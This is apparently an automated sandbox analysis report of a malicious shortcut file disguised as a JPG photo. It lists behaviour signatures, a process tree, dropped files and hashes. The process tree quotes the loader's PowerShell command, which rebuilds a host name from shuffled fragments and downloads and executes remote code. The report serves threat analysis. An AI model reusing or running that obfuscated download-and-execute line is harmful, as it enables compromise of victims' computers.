Analysis

  • max time kernel
    39s
  • max time network
    41s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/07/2026, 09:47

General

  • Target
    IMG_20260729_034259.jpg.lnk
  • Size 1KB
  • Sample260729-lsbrls1cld
  • SHA256 fc51a9326b7c35b8da6f37e391176885252d1a3952105dd889a9f4837f448fae
  • MD5 SHA1 SHA512 TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 34 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\IMG_20260729_034259.jpg.lnk
    1⤵
    • Checks computer location settings
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:5088
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr (@('e','oinsta','p','w.s','ho','t','ho','yno','p','res','rv')[9,0,10,8,4,5,1,7,3,6,2] -join $pfl) -useb | iex
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1636
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\43cwoetj\43cwoetj.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:388
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFF8E.tmp" "c:\Users\Admin\AppData\Local\Temp\43cwoetj\CSCD160776086DA4C519B5D976C17AB3C8.TMP"
          4⤵
            PID:3160

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          43cwoetj.dll

          • Path C:\Users\Admin\AppData\Local\Temp\43cwoetj\43cwoetj.dll
          • Size 3KB
          • SHA256 15ddc0bab96be9c3920d9f94ffbfb5375aa73ef419899d7c7260ff2de032e129
          • MD5 SHA1 SHA512 TLSH

          RESFF8E.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RESFF8E.tmp
          • Size 1KB
          • SHA256 46f9c82f81ba383b441196b80a906f7cd0919883b294959479b266c48fc42ffe
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_xmodw5su.uy2.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xmodw5su.uy2.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          43cwoetj.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\43cwoetj\43cwoetj.0.cs
          • Size 203B
          • SHA256 5473b5550a65171ee7d5977d673c97e41e9ec16fad10ec5ab8aa3b7c798577a6
          • MD5 SHA1 SHA512 TLSH

          43cwoetj.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\43cwoetj\43cwoetj.cmdline
          • Size 369B
          • SHA256 cb6b0a306cf38c1de012f2c6654d1f173d559a53a3db7385bdf5f4bf02003bde
          • MD5 SHA1 SHA512 TLSH

          CSCD160776086DA4C519B5D976C17AB3C8.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\43cwoetj\CSCD160776086DA4C519B5D976C17AB3C8.TMP
          • Size 652B
          • SHA256 97da7b98a376bac69c93128a65a2d933e592a16aa145b718cde84c44eb02f776
          • MD5 SHA1 SHA512 TLSH

          memory/1636-11-0x000001457F900000-0x000001457F922000-memory.dmp

          memory/1636-2-0x0000014565060000-0x0000014565070000-memory.dmp

          memory/1636-3-0x0000014565060000-0x0000014565070000-memory.dmp

          memory/1636-24-0x00000145003C0000-0x00000145003C8000-memory.dmp

          memory/1636-25-0x0000014565060000-0x0000014565070000-memory.dmp

          memory/1636-26-0x0000014565060000-0x0000014565070000-memory.dmp

          memory/1636-27-0x0000014565060000-0x0000014565070000-memory.dmp

          memory/1636-28-0x0000014565060000-0x0000014565070000-memory.dmp